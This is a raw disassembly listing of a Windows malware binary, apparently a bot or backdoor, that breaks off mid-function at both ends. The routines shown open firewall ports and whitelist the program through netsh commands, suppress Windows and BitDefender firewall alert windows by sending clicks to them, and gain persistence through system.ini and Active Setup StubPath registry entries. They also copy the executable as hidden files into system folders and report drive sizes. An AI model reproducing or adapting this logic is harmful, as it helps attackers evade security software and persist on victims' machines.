; "%s CMD Prompt" push 0Ah call sub_41BED7 mov edi, eax mov ecx, [ebp+var_20] imul edi, 1018h add esp, 0Ch mov dword_46D410[edi], ecx lea ecx, [ebp+var_2C] push ecx push esi push eax push offset sub_4143AB push esi push esi call dword_42F158 ; CreateThread cmp eax, esi mov dword_46D414[edi], eax jnz short loc_4146B2 call dword_42F068 ; RtlGetLastWin32Error push eax push ebx lea eax, [ebp+var_1174] push offset aSFailedToSta_5 ; "%s Failed to start IO thread, error: <%"... push eax call sub_422063 add esp, 10h loc_4146B2: ; CODE XREF: sub_414508+18Cj xor eax, eax loc_4146B4: ; CODE XREF: sub_414508+103j pop edi pop esi pop ebx leave retn sub_414508 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4146B9 proc near ; CODE XREF: sub_412267+3FCp var_404 = byte ptr -404h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 404h push ebx push esi mov esi, offset loc_439030 push edi lea eax, [ebp+var_404] push esi push eax call dword_42F04C ; lstrcpyA lea eax, [ebp+var_404] push offset aEnabled ; ":*:Enabled:" push eax call sub_423270 lea eax, [ebp+var_404] push offset aSystem_0 ; "SYSTEM" push eax call sub_423270 mov edi, dword_42F008 add esp, 10h lea eax, [ebp+var_4] push eax push 0F003Fh push 0 push offset aSystemCurren_3 ; "SYSTEM\\CurrentControlSet\\Services\\Share"... push 80000002h call edi ; dword_42F008 lea eax, [ebp+var_404] push eax call sub_422120 pop ecx mov ebx, dword_42F00C push eax lea eax, [ebp+var_404] push eax push 1 push 0 push esi push [ebp+var_4] call ebx ; dword_42F00C lea eax, [ebp+var_4] push eax push 0F003Fh push 0 push offset aSystemCurren_4 ; "SYSTEM\\CurrentControlSet\\Services\\Share"... push 80000002h call edi ; dword_42F008 lea eax, [ebp+var_404] push eax call sub_422120 pop ecx push eax lea eax, [ebp+var_404] push eax push 1 push 0 push esi push [ebp+var_4] call ebx ; dword_42F00C pop edi pop esi pop ebx leave retn sub_4146B9 endp ; =============== S U B R O U T I N E ======================================= sub_41477A proc near ; DATA XREF: sub_412267+418o push ebx mov ebx, dword_42F15C push ebp push esi xor ebp, ebp loc_414785: ; CODE XREF: sub_41477A+33j push offset aWindowsSecurit ; "Windows Security Alert" push ebp call dword_45431C ; FindWindowA mov esi, eax cmp esi, ebp jnz short loc_4147AF push offset aBitdefenderFir ; "BitDefender Firewall Alert" push ebp call dword_45431C ; FindWindowA mov esi, eax cmp esi, ebp jnz short loc_4147D1 push 1Eh call ebx ; dword_42F15C jmp short loc_414785 ; --------------------------------------------------------------------------- loc_4147AF: ; CODE XREF: sub_41477A+1Bj push ebp push 68h push 111h push esi call dword_454360 ; SendMessageA jmp short loc_4147C4 ; --------------------------------------------------------------------------- loc_4147C0: ; CODE XREF: sub_41477A+53j push 32h call ebx ; dword_42F15C loc_4147C4: ; CODE XREF: sub_41477A+44j push esi call dword_4542A0 ; IsWindow test eax, eax jnz short loc_4147C0 jmp short loc_414806 ; --------------------------------------------------------------------------- loc_4147D1: ; CODE XREF: sub_41477A+2Dj push edi push ebp mov edi, 111h push 4Dh push edi push esi call dword_454360 ; SendMessageA push ebp push 1 push edi push esi call dword_454360 ; SendMessageA push esi call dword_4542A0 ; IsWindow pop edi jmp short loc_414802 ; --------------------------------------------------------------------------- loc_4147F7: ; CODE XREF: sub_41477A+8Aj push 32h call ebx ; dword_42F15C push esi call dword_4542A0 ; IsWindow loc_414802: ; CODE XREF: sub_41477A+7Bj test eax, eax jnz short loc_4147F7 loc_414806: ; CODE XREF: sub_41477A+55j push ebp call dword_42F150 ; ExitThread pop esi pop ebp pop ebx sub_41477A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_414810 proc near ; DATA XREF: sub_412267+408o var_F74 = byte ptr -0F74h var_F5C = byte ptr -0F5Ch var_F4C = byte ptr -0F4Ch var_E18 = byte ptr -0E18h var_C30 = byte ptr -0C30h var_A00 = byte ptr -0A00h var_858 = byte ptr -858h var_470 = byte ptr -470h sub esp, 0F04h lea eax, [esp+0F04h+var_A00] push ebx push ebp push esi push edi push offset aFirewallSetP_0 ; "firewall set portopening TCP 1013 BS" push 200h push eax call sub_42219B add esp, 0Ch mov esi, dword_42F23C xor ebp, ebp lea eax, [esp+0F14h+var_A00] push ebp push ebp mov ebx, offset aNetsh ; "netsh" push eax mov edi, offset aOpen ; "open" push ebx push edi push ebp call esi ; dword_42F23C push offset aFirewallSetP_1 ; "firewall set portopening TCP 8080 PORT1"... lea eax, [esp+0F30h+var_E18] push 200h push eax call sub_42219B add esp, 0Ch lea eax, [esp+0F2Ch+var_E18] push ebp push ebp push eax push ebx push edi push ebp call esi ; dword_42F23C push offset aFirewallSetP_2 ; "firewall set portopening TCP 8081 PORT2"... lea eax, [esp+0F48h+var_C30] push 200h push eax call sub_42219B add esp, 0Ch lea eax, [esp+0F44h+var_C30] push ebp push ebp push eax push ebx push edi push ebp call esi ; dword_42F23C lea eax, [esp+0F5Ch+var_F4C] push 104h push eax push ebp call dword_42F074 ; GetModuleHandleA push eax call dword_42F154 ; GetModuleFileNameA lea eax, [esp+0F6Ch+var_F5C] push eax push offset aFirewallAddAll ; "firewall add allowedprogram \"%s\" workst"... lea eax, [esp+0F74h+var_858] push 400h push eax call sub_42219B add esp, 10h lea eax, [esp+0F6Ch+var_858] push ebp push ebp push eax push ebx push edi push ebp call esi ; dword_42F23C lea eax, [esp+0F84h+var_F74] push eax push offset aFirewallSetAll ; "firewall set allowedprogram \"%s\" workst"... lea eax, [esp+0F8Ch+var_470] push 400h push eax call sub_42219B add esp, 10h lea eax, [esp+0F84h+var_470] push ebp push ebp push eax push ebx push edi push ebp call esi ; dword_42F23C push ebp call dword_42F150 ; ExitThread pop edi pop esi pop ebp pop ebx sub_414810 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414926 proc near ; DATA XREF: sub_402190+3Fo var_200 = byte ptr -200h push ebp mov ebp, esp sub esp, 200h push dword_44D680 push offset aDebugOpenedNet ; "(Debug): opened netsh firewall for FTPD"... call sub_424496 push dword_44D680 lea eax, [ebp+var_200] push offset aFirewallSetPor ; "firewall set portopening TCP %d FD" push 200h push eax call sub_42219B add esp, 18h lea eax, [ebp+var_200] push 0 push 0 push eax push offset aNetsh ; "netsh" push offset aOpen ; "open" push 0 call dword_42F23C push 0 call dword_42F150 ; ExitThread sub_414926 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414983 proc near ; DATA XREF: sub_412267+428o ; sub_414FE3+6Do var_410 = byte ptr -410h var_30C = byte ptr -30Ch var_304 = byte ptr -304h var_208 = byte ptr -208h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 304h push esi mov esi, 104h lea eax, [ebp+var_208] push esi push eax push 0 call dword_42F074 ; GetModuleHandleA push eax call dword_42F154 ; GetModuleFileNameA lea eax, [ebp+var_208] push eax lea eax, [ebp+var_304] push offset aExplorer_exeS ; "explorer.exe \"%s\"" push eax call sub_422063 add esp, 0Ch lea eax, [ebp+var_104] push esi push eax call dword_42F0C0 ; GetWindowsDirectoryA lea eax, [ebp+var_104] push offset aSystem_ini ; "\\system.ini" push eax call sub_423270 pop ecx lea eax, [ebp+var_104] pop ecx push eax lea eax, [ebp+var_304] push eax push offset aShell ; "shell" push offset aBoot ; "boot" call dword_42F160 ; WritePrivateProfileStringA lea eax, [ebp+var_208] push eax call sub_422120 mov esi, dword_42F244 pop ecx push eax lea eax, [ebp+var_208] push eax call esi ; dword_42F244 lea eax, [ebp+var_104] push eax call sub_422120 pop ecx push eax lea eax, [ebp+var_104] push eax call esi ; dword_42F244 push 0 call dword_42F150 ; ExitThread pop esi loc_414A40: ; CODE XREF: sub_414CF1+4p push ebp mov ebp, esp sub esp, 410h push ebx push esi mov esi, 104h push edi xor ebx, ebx push esi lea eax, [ebp+var_30C] push ebx push eax call sub_4221F0 push esi lea eax, [ebp+var_208] push ebx push eax call sub_4221F0 push esi lea eax, [ebp+var_104] push ebx push eax call sub_4221F0 push esi lea eax, [ebp+var_410] push ebx push eax call sub_4221F0 mov eax, [ebp+arg_0] add esp, 30h dec eax jz loc_414BDC dec eax jz loc_414B68 dec eax jz short loc_414AF4 dec eax jnz loc_414CB2 push ebx lea eax, [ebp+var_208] push 18h push eax push ebx call dword_42F234 loc_414ABA: ; CODE XREF: sub_414983+2ADj lea eax, [ebp+var_208] push eax lea eax, [ebp+var_30C] push esi push eax call sub_42219B lea eax, [ebp+var_208] push offset loc_439030 push eax push offset dword_43C270 lea eax, [ebp+var_104] push esi push eax call sub_42219B add esp, 20h jmp loc_414CB2 ; --------------------------------------------------------------------------- loc_414AF4: ; CODE XREF: sub_414983+11Dj push ebx lea eax, [ebp+var_208] push 25h push eax push ebx call dword_42F234 lea eax, [ebp+var_208] push eax lea eax, [ebp+var_30C] push esi push eax call sub_42219B lea eax, [ebp+var_208] push offset loc_439030 push eax push offset aSWinsS ; "%s\\wins\\%s" lea eax, [ebp+var_104] push esi push eax call sub_42219B lea eax, [ebp+var_104] push 1 push eax mov edi, offset dword_439134 push offset dword_439590 push edi push 80000001h call sub_41A8F2 lea eax, [ebp+var_104] push 1 push eax push offset dword_439590 jmp loc_414CA3 ; --------------------------------------------------------------------------- loc_414B68: ; CODE XREF: sub_414983+116j push ebx lea eax, [ebp+var_208] push 25h push eax push ebx call dword_42F234 lea eax, [ebp+var_208] push eax lea eax, [ebp+var_30C] push esi push eax call sub_42219B lea eax, [ebp+var_208] push offset loc_439030 push eax push offset aSSpoolDriversS ; "%s\\spool\\drivers\\%s" lea eax, [ebp+var_104] push esi push eax call sub_42219B lea eax, [ebp+var_104] push 1 push eax mov edi, offset dword_439134 push offset dword_439578 push edi push 80000001h call sub_41A8F2 lea eax, [ebp+var_104] push 1 push eax push offset dword_439578 jmp loc_414CA3 ; --------------------------------------------------------------------------- loc_414BDC: ; CODE XREF: sub_414983+10Fj lea eax, [ebp+var_208] push eax push ebx push ebx push 802Bh push ebx call dword_42F238 test eax, eax jl loc_414CEA lea eax, [ebp+var_208] push eax push offset aSSystem ; "%s\\System" lea eax, [ebp+var_104] push esi push eax call sub_42219B add esp, 10h lea eax, [ebp+var_208] push ebx push eax call dword_42F0C4 ; CreateDirectoryA test eax, eax jnz short loc_414C36 call dword_42F068 ; RtlGetLastWin32Error cmp eax, 3 jz loc_414ABA loc_414C36: ; CODE XREF: sub_414983+2A2j lea eax, [ebp+var_104] push 7 push eax call dword_42F08C ; SetFileAttributesA lea eax, [ebp+var_104] push eax lea eax, [ebp+var_30C] push esi push eax call sub_42219B lea eax, [ebp+var_104] push offset loc_439030 push eax push offset dword_43C270 lea eax, [ebp+var_104] push esi push eax call sub_42219B lea eax, [ebp+var_104] push 1 push eax mov edi, offset dword_439134 push offset dword_439568 push edi push 80000001h call sub_41A8F2 lea eax, [ebp+var_104] push 1 push eax push offset dword_439568 loc_414CA3: ; CODE XREF: sub_414983+1E0j ; sub_414983+254j push edi push dword_439130 call sub_41A8F2 add esp, 48h loc_414CB2: ; CODE XREF: sub_414983+120j ; sub_414983+16Cj lea eax, [ebp+var_410] push esi push eax push ebx call dword_42F154 ; GetModuleFileNameA lea eax, [ebp+var_104] push ebx push eax lea eax, [ebp+var_410] push eax call dword_42F09C ; CopyFileA lea eax, [ebp+var_104] push 7 push eax call dword_42F08C ; SetFileAttributesA xor eax, eax inc eax jmp short loc_414CEC ; --------------------------------------------------------------------------- loc_414CEA: ; CODE XREF: sub_414983+270j xor eax, eax loc_414CEC: ; CODE XREF: sub_414983+365j pop edi pop esi pop ebx leave retn sub_414983 endp ; =============== S U B R O U T I N E ======================================= sub_414CF1 proc near ; DATA XREF: sub_412267+438o ; sub_414FE3+7Eo push esi xor esi, esi loc_414CF4: ; CODE XREF: sub_414CF1+Ej push esi call loc_414A40 inc esi pop ecx cmp esi, 5 jl short loc_414CF4 push 0 call dword_42F150 ; ExitThread pop esi loc_414D0A: ; CODE XREF: sub_414F1C+4p push ebp mov ebp, esp sub esp, 30Ch mov eax, [ebp+8] push ebx mov ebx, dword_42F08C push esi dec eax push edi jz loc_414E31 dec eax jz loc_414DDD dec eax jz short loc_414D89 dec eax jnz loc_414EF5 xor edi, edi lea eax, [ebp-104h] push edi push 18h push eax push edi call dword_42F234 mov esi, 104h loc_414D4F: ; CODE XREF: sub_414CF1+19Bj lea eax, [ebp-104h] push eax lea eax, [ebp-30Ch] push esi push eax call sub_42219B lea eax, [ebp-104h] push offset loc_439030 push eax push offset dword_43C270 lea eax, [ebp-208h] push esi push eax call sub_42219B add esp, 20h jmp loc_414EF5 ; --------------------------------------------------------------------------- loc_414D89: ; CODE XREF: sub_414CF1+3Dj xor edi, edi lea eax, [ebp-104h] push edi push 25h push eax push edi call dword_42F234 lea eax, [ebp-104h] mov esi, 104h push eax lea eax, [ebp-30Ch] push esi push eax call sub_42219B lea eax, [ebp-104h] push offset loc_439030 push eax push offset aSWinsS ; "%s\\wins\\%s" lea eax, [ebp-208h] push esi push eax call sub_42219B mov edi, offset dword_439590 jmp loc_414ED4 ; --------------------------------------------------------------------------- loc_414DDD: ; CODE XREF: sub_414CF1+36j xor edi, edi lea eax, [ebp-104h] push edi push 25h push eax push edi call dword_42F234 lea eax, [ebp-104h] mov esi, 104h push eax lea eax, [ebp-30Ch] push esi push eax call sub_42219B lea eax, [ebp-104h] push offset loc_439030 push eax push offset aSSpoolDriversS ; "%s\\spool\\drivers\\%s" lea eax, [ebp-208h] push esi push eax call sub_42219B mov edi, offset dword_439578 jmp loc_414ED4 ; --------------------------------------------------------------------------- loc_414E31: ; CODE XREF: sub_414CF1+2Fj lea eax, [ebp-104h] xor edi, edi push eax push edi push edi push 802Bh push edi call dword_42F238 test eax, eax jl loc_414F15 lea eax, [ebp-104h] mov esi, 104h push eax push offset aSSystem ; "%s\\System" lea eax, [ebp-208h] push esi push eax call sub_42219B add esp, 10h lea eax, [ebp-104h] push edi push eax call dword_42F0C4 ; CreateDirectoryA test eax, eax jnz short loc_414E92 call dword_42F068 ; RtlGetLastWin32Error cmp eax, 3 jz loc_414D4F loc_414E92: ; CODE XREF: sub_414CF1+190j lea eax, [ebp-208h] push 7 push eax call ebx ; dword_42F08C lea eax, [ebp-208h] push eax lea eax, [ebp-30Ch] push esi push eax call sub_42219B lea eax, [ebp-208h] push offset loc_439030 push eax push offset dword_43C270 lea eax, [ebp-208h] push esi push eax call sub_42219B mov edi, offset dword_439568 loc_414ED4: ; CODE XREF: sub_414CF1+E7j ; sub_414CF1+13Bj mov esi, offset dword_439134 push edi push esi push dword_439130 call sub_41A454 push edi push esi push 80000001h call sub_41A454 add esp, 38h loc_414EF5: ; CODE XREF: sub_414CF1+40j ; sub_414CF1+93j lea eax, [ebp-208h] push 80h push eax call ebx ; dword_42F08C lea eax, [ebp-208h] push eax call dword_42F088 ; DeleteFileA xor eax, eax inc eax jmp short loc_414F17 ; --------------------------------------------------------------------------- loc_414F15: ; CODE XREF: sub_414CF1+159j xor eax, eax loc_414F17: ; CODE XREF: sub_414CF1+222j pop edi pop esi pop ebx leave retn sub_414CF1 endp ; =============== S U B R O U T I N E ======================================= sub_414F1C proc near ; DATA XREF: sub_40CDE2+5FAo ; sub_41F455+11o push esi xor esi, esi loc_414F1F: ; CODE XREF: sub_414F1C+Ej push esi call loc_414D0A inc esi pop ecx cmp esi, 5 jl short loc_414F1F push 0 call dword_42F150 ; ExitThread pop esi sub_414F1C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414F35 proc near ; CODE XREF: sub_4120E9+153p ; sub_414FE3+93p var_400 = byte ptr -400h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 400h push esi lea eax, [ebp+var_400] push [ebp+arg_0] push offset aSoftwareMicr_1 ; "Software\\Microsoft\\Active Setup\\Install"... push 400h push eax call sub_42219B push 1 mov esi, offset aStubpath ; "StubPath" push [ebp+arg_4] lea eax, [ebp+var_400] push esi push eax push 80000002h call sub_41A8F2 push 1 lea eax, [ebp+var_400] push [ebp+arg_4] push esi push eax push 80000001h call sub_41A8F2 add esp, 38h pop esi leave retn sub_414F35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414F91 proc near ; CODE XREF: sub_40CDE2+60Cp ; sub_41F455+23p var_400 = byte ptr -400h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 400h push esi lea eax, [ebp+var_400] push [ebp+arg_0] push offset aSoftwareMicr_1 ; "Software\\Microsoft\\Active Setup\\Install"... push 400h push eax call sub_42219B mov esi, offset aStubpath ; "StubPath" lea eax, [ebp+var_400] push esi push eax push 80000002h call sub_41A454 lea eax, [ebp+var_400] push esi push eax push 80000001h call sub_41A454 add esp, 28h pop esi leave retn sub_414F91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_414FE3 proc near ; DATA XREF: sub_412267+448o var_108 = byte ptr -108h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 108h push ebx push esi push edi lea eax, [ebp+var_108] push 104h push eax push 0 call dword_42F074 ; GetModuleHandleA push eax call dword_42F154 ; GetModuleFileNameA mov esi, dword_42F158 mov ebx, offset byte_439233 mov edi, offset dword_439134 loc_41501A: ; CODE XREF: sub_414FE3+A5j lea eax, [ebp+var_108] push 1 push eax push ebx push edi push 80000001h call sub_41A8F2 lea eax, [ebp+var_108] push 1 push eax push ebx push edi push dword_439130 call sub_41A8F2 add esp, 28h lea eax, [ebp+var_4] push eax xor eax, eax push eax push eax push offset sub_414983 push eax push eax call esi ; dword_42F158 lea eax, [ebp+var_4] push eax xor eax, eax push eax push eax push offset sub_414CF1 push eax push eax call esi ; dword_42F158 lea eax, [ebp+var_108] push eax push offset dword_439540 call sub_414F35 pop ecx pop ecx push 0BB8h call dword_42F15C ; Sleep jmp short loc_41501A sub_414FE3 endp ; =============== S U B R O U T I N E ======================================= sub_41508A proc near ; CODE XREF: sub_4152FB:loc_415352p ; sub_4152FB+94p arg_0 = dword ptr 4 push [esp+arg_0] call dword_42F0C8 ; GetDriveTypeA sub eax, 0 jz short loc_4150CD dec eax jz short loc_4150C7 dec eax dec eax jz short loc_4150C1 dec eax jz short loc_4150BB dec eax jz short loc_4150B5 dec eax jz short loc_4150AF mov eax, offset a? ; "?" retn ; --------------------------------------------------------------------------- loc_4150AF: ; CODE XREF: sub_41508A+1Dj mov eax, offset aRamdisk ; "RAMDISK" retn ; --------------------------------------------------------------------------- loc_4150B5: ; CODE XREF: sub_41508A+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_4150BB: ; CODE XREF: sub_41508A+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_4150C1: ; CODE XREF: sub_41508A+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_4150C7: ; CODE XREF: sub_41508A+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_4150CD: ; CODE XREF: sub_41508A+Dj mov eax, offset dword_43E558 retn sub_41508A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4150D3 proc near ; CODE XREF: sub_415126+12p ; sub_415255+Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h push esi push edi or eax, 0FFFFFFFFh push 1 mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax call dword_4543C0 ; SetErrorMode lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax push [ebp+arg_4] call dword_42F0CC ; GetDiskFreeSpaceExA push 2 call dword_4543C0 ; SetErrorMode mov eax, [ebp+arg_0] push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_4150D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415126 proc near ; CODE XREF: sub_4152FB+1Dp var_1A0 = byte ptr -1A0h var_120 = byte ptr -120h var_A0 = byte ptr -0A0h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1A0h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_4150D3 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_415212 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_415212 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_415212 mov eax, [ebp+arg_8] push ebx push [ebp+arg_C] cdq mov ebx, eax push edx push ebx mov [ebp+var_1C], edx push [ebp+var_14] push [ebp+var_18] call sub_4244E0 push edx push eax call sub_41F537 pop ecx mov edi, offset aSS_2 ; "%s%s" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_1A0] push esi push eax call sub_42219B add esp, 14h push [ebp+arg_C] push [ebp+var_1C] push ebx push [ebp+var_C] push [ebp+var_10] call sub_4244E0 push edx push eax call sub_41F537 pop ecx pop ecx push eax push edi lea eax, [ebp+var_120] push esi push eax call sub_42219B add esp, 14h push [ebp+arg_C] push [ebp+var_1C] push ebx push [ebp+var_4] push [ebp+var_8] call sub_4244E0 push edx push eax call sub_41F537 pop ecx pop ecx push eax push edi lea eax, [ebp+var_A0] push esi push eax call sub_42219B add esp, 14h pop ebx jmp short loc_415241 ; --------------------------------------------------------------------------- loc_415212: ; CODE XREF: sub_415126+2Cj ; sub_415126+3Bj ... mov esi, offset aFailed ; "Failed" lea eax, [ebp+var_1A0] push esi push eax call sub_422063 lea eax, [ebp+var_120] push esi push eax call sub_422063 lea eax, [ebp+var_A0] push esi push eax call sub_422063 add esp, 18h loc_415241: ; CODE XREF: sub_415126+EAj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_1A0] mov edi, eax rep movsd pop edi pop esi leave retn sub_415126 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415255 proc near ; CODE XREF: sub_4153BB+5Fp ; sub_418B58+241p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 30h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_30] push eax call sub_4150D3 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jnz short loc_4152A9 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jnz short loc_4152A9 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jnz short loc_4152A9 xor eax, eax mov [ebp+var_30], eax mov [ebp+var_2C], eax mov [ebp+var_28], eax mov [ebp+var_24], eax mov [ebp+var_1C], eax jmp short loc_4152E7 ; --------------------------------------------------------------------------- loc_4152A9: ; CODE XREF: sub_415255+29j ; sub_415255+34j ... mov eax, [ebp+arg_8] cdq mov edi, edx mov esi, eax push edi push esi push [ebp+var_14] push [ebp+var_18] call sub_4244E0 push edi push esi push [ebp+var_C] mov [ebp+var_30], eax mov [ebp+var_2C], edx push [ebp+var_10] call sub_4244E0 push edi push esi push [ebp+var_4] mov [ebp+var_28], eax mov [ebp+var_24], edx push [ebp+var_8] call sub_4244E0 mov [ebp+var_1C], edx loc_4152E7: ; CODE XREF: sub_415255+52j mov [ebp+var_20], eax mov eax, [ebp+arg_0] push 6 lea esi, [ebp+var_30] pop ecx mov edi, eax rep movsd pop edi pop esi leave retn sub_415255 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4152FB proc near ; CODE XREF: sub_4154DA+40p ; sub_4154DA+10Cp var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 300h push ebx mov ebx, [ebp+arg_C] push esi push edi push [ebp+arg_14] lea eax, [ebp+var_300] push [ebp+arg_10] push ebx push eax call sub_415126 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "Failed" rep movsd push eax call sub_422760 add esp, 18h test eax, eax jnz short loc_41537B push ebx push ebx loc_415352: ; DATA XREF: .text:off_43CF08o call sub_41508A cmp [ebp+arg_8], 0 pop ecx push eax push offset aSDriveSFailedT ; "%s Drive (%s): Failed to start, device "... push [ebp+arg_0] push [ebp+arg_4] jnz short loc_415374 call sub_4104F6 loc_41536F: ; CODE XREF: sub_4152FB+7Ej add esp, 14h jmp short loc_4153B6 ; --------------------------------------------------------------------------- loc_415374: ; CODE XREF: sub_4152FB+6Dj call sub_410491 jmp short loc_41536F ; --------------------------------------------------------------------------- loc_41537B: ; CODE XREF: sub_4152FB+53j lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_41508A cmp [ebp+arg_8], 0 pop ecx push eax push offset aSDriveSTotalSF ; "%s Drive (%s), Total: %s, Free: %s, Ava"... push [ebp+arg_0] push [ebp+arg_4] jnz short loc_4153AE call sub_4104F6 jmp short loc_4153B3 ; --------------------------------------------------------------------------- loc_4153AE: ; CODE XREF: sub_4152FB+AAj call sub_410491 loc_4153B3: ; CODE XREF: sub_4152FB+B1j add esp, 20h loc_4153B6: ; CODE XREF: sub_4152FB+77j pop edi pop esi pop ebx leave retn sub_4152FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153BB proc near ; CODE XREF: sub_403B2C+1F28p ; sub_4154DA+158p var_E8 = byte ptr -0E8h var_B4 = byte ptr -0B4h var_80 = byte ptr -80h var_4C = byte ptr -4Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0E8h push ebx push esi mov esi, dword_42F0D0 xor eax, eax push edi push eax push eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_1C], eax mov [ebp+var_18], eax call esi ; dword_42F0D0 lea edi, [eax+2] push edi call sub_422F79 pop ecx mov ebx, eax push ebx push edi call esi ; dword_42F0D0 cmp byte ptr [ebx], 0 mov [ebp+var_14], ebx jz short loc_415466 loc_4153FD: ; CODE XREF: sub_4153BB+A9j push offset off_43E640 push [ebp+var_14] call sub_422760 pop ecx test eax, eax pop ecx jz short loc_415450 push [ebp+arg_C] lea eax, [ebp+var_4C] push [ebp+var_14] push eax call sub_415255 add esp, 0Ch mov esi, eax lea edi, [ebp+var_34] push 6 pop ecx rep movsd mov eax, [ebp+var_34] add [ebp+var_8], eax mov eax, [ebp+var_30] adc [ebp+var_4], eax mov eax, [ebp+var_2C] add [ebp+var_10], eax mov eax, [ebp+var_28] adc [ebp+var_C], eax mov eax, [ebp+var_24] add [ebp+var_1C], eax mov eax, [ebp+var_20] adc [ebp+var_18], eax loc_415450: ; CODE XREF: sub_4153BB+53j mov esi, [ebp+var_14] push esi call sub_422120 lea eax, [esi+eax+1] pop ecx mov [ebp+var_14], eax cmp byte ptr [eax], 0 jnz short loc_4153FD loc_415466: ; CODE XREF: sub_4153BB+40j push ebx call sub_4230B3 pop ecx pop edi pop esi pop ebx push [ebp+arg_10] lea eax, [ebp+var_80] push eax push [ebp+var_4] push [ebp+var_8] call sub_41F5B5 add esp, 0Ch push eax lea eax, [ebp+var_B4] push [ebp+arg_10] push eax push [ebp+var_C] push [ebp+var_10] call sub_41F5B5 add esp, 0Ch push eax lea eax, [ebp+var_E8] push [ebp+arg_10] push eax push [ebp+var_18] push [ebp+var_1C] call sub_41F5B5 add esp, 0Ch cmp [ebp+arg_8], 0 push eax push offset aDriveTotalsNAT ; "Drive Totals (N/A), Total: %s%s,Free: %"... push [ebp+arg_0] push [ebp+arg_4] jnz short loc_4154D0 call sub_4104F6 jmp short loc_4154D5 ; --------------------------------------------------------------------------- loc_4154D0: ; CODE XREF: sub_4153BB+10Cj call sub_410491 loc_4154D5: ; 